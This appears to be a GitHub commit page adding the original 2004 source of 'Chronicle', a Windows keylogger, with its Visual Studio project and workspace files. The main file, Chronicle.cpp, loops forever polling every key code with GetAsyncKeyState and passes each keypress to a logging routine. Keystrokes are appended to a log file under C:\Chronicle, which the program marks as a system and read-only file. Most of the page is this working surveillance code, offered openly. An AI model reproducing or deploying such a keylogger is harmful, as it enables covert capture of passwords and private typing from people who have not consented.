Skip to content

Commit

Permalink
Original version, 2004
Browse files Browse the repository at this point in the history
  • Loading branch information
drewchapin committed Jul 2, 2016
1 parent 18a9b62 commit 4b59bb8
Show file tree
Hide file tree
Showing 9 changed files with 891 additions and 0 deletions.
65 changes: 65 additions & 0 deletions Chronicle.cpp
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
/**************************************************************/
/* Chronicle - Key logger */
/**************************************************************/
/* By: Drew Chapin */
/* Started: August 6th 2004 */
/**************************************************************/

#include <windows.h>
#include <stdio.h>
#include ".\Chronicle.h"
#include ".\resource.h"

// globals
HANDLE hFile;
char szTemp[256];
char szLogFile[] = "C:\\Chronicle\\KeyLog.txt";
DWORD dwAttributes = FILE_ATTRIBUTE_NORMAL | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM;
DWORD dwFileSize = 0;

int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow )
{

// make sure the Chronicle dir exits
CreateDirectory( "C:\\Chronicle", NULL );

// open the log file
hFile = CreateFile( szLogFile, GENERIC_WRITE, FILE_SHARE_READ, NULL,
OPEN_ALWAYS, dwAttributes, NULL );

// get the file size
dwFileSize = GetFileSize( hFile, NULL );

// set the file pointer to the end
SetFilePointer( hFile, dwFileSize, NULL, FILE_BEGIN );

// exit if the log file couldnt be opened
if( hFile == INVALID_HANDLE_VALUE )
{
sprintf( szTemp, "Error: %d", GetLastError() );
MessageBox( NULL, szTemp, NULL, MB_OK );
exit( 0 );
}

while( TRUE )
{

for( int i = 0; i < 255; i++ )
{

if( GetAsyncKeyState( i ) == KEYPRESS )
{

WriteKeyLog( hFile, i );

}

}

}

CloseHandle( hFile );

return 0;

}
10 changes: 10 additions & 0 deletions Chronicle.dep
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
# Microsoft Developer Studio Generated Dependency File, included by Chronicle.mak

.\Chronicle.cpp : \
".\Chronicle.h"\
"c:\program files\microsoft visual studio\vc98\include\basetsd.h"\


.\Chronicle.rc : \
".\Key04.ico"\

121 changes: 121 additions & 0 deletions Chronicle.dsp

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

29 changes: 29 additions & 0 deletions Chronicle.dsw
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
Microsoft Developer Studio Workspace File, Format Version 6.00
# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE!

###############################################################################

Project: "Chronicle"=".\Chronicle.dsp" - Package Owner=<4>

Package=<5>
{{{
}}}

Package=<4>
{{{
}}}

###############################################################################

Global:

Package=<5>
{{{
}}}

Package=<3>
{{{
}}}

###############################################################################

Loading

0 comments on commit 4b59bb8

Please sign in to comment.